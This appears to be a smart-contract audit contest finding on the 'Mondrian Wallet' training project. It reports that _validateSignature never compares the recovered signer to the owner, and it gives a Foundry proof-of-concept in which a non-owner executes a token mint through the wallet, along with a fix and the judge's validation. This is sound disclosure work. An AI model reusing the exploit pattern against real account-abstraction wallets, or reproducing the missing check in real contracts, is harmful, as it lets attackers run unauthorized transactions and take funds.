First Flight #15: Mondrian Wallet
First Flight #15
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Missing signature validation in `MondrianWallet::_validateSignature`

paprikrumplikas

Summary

MondrianWallet::_validateSignature does not check if the address recovered by ECDSA.recover(hash, userOp.signature); matches the expected (accepted) signer's address. This oversight allows unauthorized users to execute transactions.

Vulnerability Details

MondrianWallet::_validateSignature is supposed to

  • STEP1: recover the signer of the submitted userOp using the EDSA.recover method,

  • STEP2: validate the signer's address matches the address (or addresses) that are authorized to sign UserOperations, and then

  • STEP3: depending on the success or failure of the validation, return an approriate value.

In practice, however, the STEP2 (signature validation against accepted addresses) is omitted, while at STEP3 the return value is always SIG_VALIDATION_SUCCESS.

Impact

Due to the missing signature validation, MondrianWallet will accept and execute any userOp that has been signed by any user, provided that the other fields of the userOp are valid (such ad nonce). This vulnerability allows any user to execute arbitrary transactions through the MondrianWallet by submitting a userOp via iEntryPoint::handleOps.

The following piece of test demonstrates that a non-owner user signs a UserOp for minting ERC20 tokens via the owner's MondrianWallet. Despite the user not having a signed transaction from the Mondrian Wallet Owner, the transactions executes,
Note: the test was written in Foundry.

Proof of Code
// add import: import {UserOperationLib, PackedUserOperation} from "../src/MondrianWallet.sol";
// add using: using UserOperationLib for PackedUserOperation;
function testMissingSignatureValidation() public {
address nonOwner = makeAddr("nonOwner");
​
// user sets up a Mondrian Wallet
address owner = makeAddr("owner");
vm.prank(owner);
MondrianWallet mondrianWallet;
mondrianWallet = new MondrianWallet(address(entryPoint));
​
// Prepare the data to call mint on the MockERC20 contract
bytes memory data = abi.encodeWithSignature("mint()");
​
// Pack gas limits
bytes32 packedGasLimits = packGasLimits(1000000, 100000);
// Pack gas fees
bytes32 packedGasFees = packGasFees(tx.gasprice, tx.gasprice);
​
// Prepare the UserOperation - mondrianWallet to mint ERC20
PackedUserOperation memory userOp = PackedUserOperation({
sender: address(mondrianWallet),
nonce: 0,
initCode: "",
callData: abi.encodeWithSelector(mondrianWallet.execute.selector, address(erc20), 0, data),
accountGasLimits: packedGasLimits,
preVerificationGas: 21000,
gasFees: packedGasFees,
paymasterAndData: "",
signature: new bytes(65) // placeholder, will be updated at line userOp.signature = abi.encodePacked(r, s, v);
});
​
// Non-owner signs the UserOperation
// signature field of UserOp (UserOp.signature) is populated here
bytes32 userOpHash = keccak256(abi.encode(userOp));
(uint8 v, bytes32 r, bytes32 s) = vm.sign(uint256(uint160(nonOwner)), userOpHash);
userOp.signature = abi.encodePacked(r, s, v);
​
// Prepare UserOperation array
PackedUserOperation[] memory ops = new PackedUserOperation[](1);
ops[0] = userOp;
​
iEntryPoint = mondrianWallet.getEntryPoint();
iEntryPoint.handleOps(ops, payable(owner));
​
// Verify that the tokens were minted correctly
uint256 balance = erc20.balanceOf(address(mondrianWallet));
assertEq(balance, erc20.AMOUNT());
}
​
​
function packGasLimits(uint256 callGasLimit, uint256 verificationGasLimit) internal pure returns (bytes32) {
return bytes32((callGasLimit << 128) | verificationGasLimit);
}
​
function packGasFees(uint256 maxFeePerGas, uint256 maxPriorityFeePerGas) internal pure returns (bytes32) {
return bytes32((maxFeePerGas << 128) | maxPriorityFeePerGas);
}

Tools Used

Manual review, Foundry.

Recommendations

implement the missing signature validation step in _validateSignature: ensure that the recovered address matches the expected signer's address (i.e., the wallet owner). The function should return SIG_VALIDATION_FAILED if the signature does not match the owner's address.

Here is the recommended code change:

function _validateSignature(PackedUserOperation calldata userOp, bytes32 userOpHash)
internal
pure
returns (uint256 validationData)
{
bytes32 hash = MessageHashUtils.toEthSignedMessageHash(userOpHash);
- ECDSA.recover(hash, userOp.signature);
+ address recoveredSigner = ECDSA.recover(hash, userOp.signature);
​
+ if(recoveredSigner != owner) {
+ return SIG_VALIDATION_FAILED;
+ }
return SIG_VALIDATION_SUCCESS;
}
Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

ECDSA.recover should check against sender

`_validateSignature` SHOULD return SIG_VALIDATION_FAILED (and not revert) on signature mismatch.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.